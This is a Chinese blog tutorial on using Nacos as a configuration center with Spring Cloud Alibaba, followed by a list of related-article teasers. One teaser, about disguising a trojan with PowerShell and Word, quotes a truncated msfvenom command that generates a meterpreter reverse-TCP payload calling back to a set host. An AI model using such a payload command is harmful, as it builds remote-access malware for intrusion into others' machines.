一、需求

主要实现 nacos 作为配置中心的一些使用方法。

二、实现功能

1、加载 product-provider-dev.yaml 配置文件

2、实现配置的自动刷新

3、实现加载多个配置文件

4、配置文件的优先级

三、注意事项

1、和 nacos config 配置相关的代码都需要定义在 bootstrap.yml配置文件中

spring.application.name
spring.profiles.active
spring.cloud.nacos.config.xxx

2、测试的过程中,发现如果定时任务的类上增加类 @RefreshScope 注解,那么 nacos 中的配置属性动态修改后,这个定时任务会失效。(参考代码:com.huan.study.product.RefreshScopeScheduledTask)
3、如果在一个线程中,隔固定周期打印@Value注解中的值,在nacos修改值后,不会改变(参考代码com.huan.study.product.PrintPropertiesTask#initPrint
4、最好不要出现配置文件中存在优先级。

四、功能实现

1、加载 单个 配置文件

1、data id 的定义:

${prefix}-${spring.profile.active}.${file-extension}

prefix:默认情况下为 spring.application.name 的值,也可以通过配置项 spring.cloud.nacos.config.prefix来配置

spring.profile.active:这个值 需要在 bootstrap.yml配置文件中定义,或通过命令行参数传递,可以为空,此时配置退化为 ${prefix}.${file-extension}

file-extension:指定配置文件的后缀,默认为properties,可以指定为yaml

2、和 nacos 相关的配置放置的位置

需要放在 bootstrap.yml 配置文件中。

2、实现配置的自动刷新

1、基于 ConfigurationProperties 配置的属性,可以自动刷新配置。
2、基于 @Value 注解配置的属性,需要在类上增加 @RefreshScope 注解
3、基于 @ConditionalOnProperty 这类注解,配置的属性如果放在 nacos中配置,第一次程序启动的时候生效,后期在nacos中修改不生效
注意:
    测试的过程中,发现
1、如果定时任务的类上增加类 @RefreshScope 注解,那么 nacos 中的配置属性动态修改后,这个定时任务会失效。
2、如果在一个线程中,隔固定周期打印@Value注解中的值,在nacos修改值后,不会改变

3、实现加载多个配置文件

可以实现同一个项目中存在多个配置文件,或多个项目共享同一个配置文件

4、配置文件的优先级


spring.cloud.nacos.config.extension-configs[n].data-id中的 n 的值越大,优先级越高。

五、代码路径

https://gitee.com/huan1993/spring-cloud-alibaba-parent/tree/master/nacos-config

六、参考链接

https://github.com/alibaba/spring-cloud-alibaba/wiki/Nacos-config
配置属性无法刷新

Spring Cloud Alibaba Nacos Config 的使用的更多相关文章

  1. Spring Cloud Alibaba Nacos Config 实战

    Nacos 提供用于存储配置和其他元数据的 key/value 存储,为分布式系统中的外部化配置提供服务器端和客户端支持.使用 Spring Cloud Alibaba Nacos Config,您可 ...

  2. Spring Cloud Alibaba Nacos

    1. Spring Cloud Alibaba 介绍 Spring Cloud Alibaba 为分布式应用程序开发提供了一站式解决方案.它包含了开发分布式应用程序所需的所有组件,使得你可以轻松地使用 ...

  3. Spring Cloud Alibaba | Nacos配置管理

    目录 Spring Cloud Alibaba | Nacos配置管理 1. pom.xml 项目依赖 2. 在 bootstrap.properties 中配置 Nacos server 的地址和应 ...

  4. Spring Cloud Alibaba | Nacos集群部署

    目录 Spring Cloud Alibaba | Nacos集群部署 1. Nacos支持三种部署模式 2. 集群模式下部署Nacos 2.1 架构图 2.2 下载源码或者安装包 2.3 配置集群配 ...

  5. 0.9.0.RELEASE版本的spring cloud alibaba nacos实例

    简而言之,nacos与eureka的不同之处有三:后台老板.部署方式.功能.nacos是阿里的,eureka是奈飞的:nacos有自己的安装包,需要独立部署,eureka仅作为一个服务组件,引入jar ...

  6. Spring Cloud Alibaba+Nacos搭建微服务架构

    1. Spring Cloud Alibaba 简介    Spring Cloud Alibaba是阿里巴巴为分布式应用提供的一站式解决方案,能够更方便快捷地搭建分布式平台,nacos拥有着替换eu ...

  7. Spring Cloud Alibaba | Nacos服务中心初探

    目录 Spring Cloud Alibaba | Nacos服务中心初探 1. 什么是Nacos? 1.1 Nacos 1.0 1.2 Nacos 2.0 2. Nacos 架构及概念 2.1 服务 ...

  8. Spring Cloud Alibaba | Nacos服务注册与发现

    目录 Spring Cloud Alibaba | Nacos服务注册与发现 1. 服务提供者 1.1 pom.xml项目依赖 1.2 配置文件application.yml 1.3 启动类Produ ...

  9. 0.9.0.RELEASE版本的spring cloud alibaba nacos+feign实例

    这里的feign依然是原来的feign,只不过将注册中心由eureka换成了nacos.服务提供方参见0.9.0.RELEASE版本的spring cloud alibaba nacos实例,消费方跟 ...

随机推荐

  1. 学习反射例子,调用DLL窗体及方法

    创建类库,并添加新窗体,加入以下方法 public static string setText(string str) { return str; } 编译后把生成的DLL文件放入新项目的bin目录, ...

  2. STP(生成树)的概述和工作原理

    一.STP的简介 二.STP的概述 三.STP的工作原理 四.生成树的算法 五.BPDU(桥协议数据单元) 六.STP收敛 TP简介 STP - Spanning Tree Protocol(生成树协 ...

  3. Powershell配合word伪装木马执行

    环境: win7 64位,word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPOR ...

  4. io流-缓冲流

    单独去数据时,数据按块读入缓冲区,其后的操作则直接访问缓冲区 但是用 BufferedInputStream读取字节文件时,

  5. 6步快速配置Tomcat环境变量(Win10)

    一.配置 tomcat环境变量之前先安装jdk和配置jdk的环境变量 1.首先右击我的电脑(此电脑),点击属性,或者也可以从控制面板上打开,如下图,找到系统点击高级系统设置: 2.然后进入系统属性界面 ...

  6. reeswitch http https ws wss nginx domain default port config

    现代H5浏览器产业链越来越丰富,http+websocket+webrtc+sip组合已经是一种非常成熟的web原生音视频通讯解决方案 FreeSWITCH是一个开源的电话软交换平台,早在SIP年代就 ...

  7. zip命令常用选项

    大家都知道,在linux上一切皆文件,在实际生产环境中,如果我们需要部署一些系统的服务,我们会将一些软件包提前下载下来统一放到一个文件夹中, 然后将部署的过程用shell或者python写成一个脚本, ...

  8. 【Sass/SCSS 完整自学中文版教程02】SCSS 官方英文文档翻译整理

    Sass 调试 目录 Sass 调试 @error @warn @debug 如果对本文有任何问题,建议,或者在前端技术体系方面有任何问题,可以添加我的微信: drylint , 我会尽可能为你解答, ...

  9. 自己实现一个Controller——精简型

    写在最前 controller-manager作为K8S master的其中一个组件,负责众多controller的启动和终止,这些controller负责监控着k8s中各种资源,执行调谐,使他们的实 ...

  10. Linux系列(24) - chmod

    前言 在Unix和Linux的中,每个文件(文件夹也被看作是文件)都有三种权限:读.写.运行. 被授予权限的用户身份有三种:当前文件的拥有者,与拥有者属于同组者(同一个group),其他人 hello ...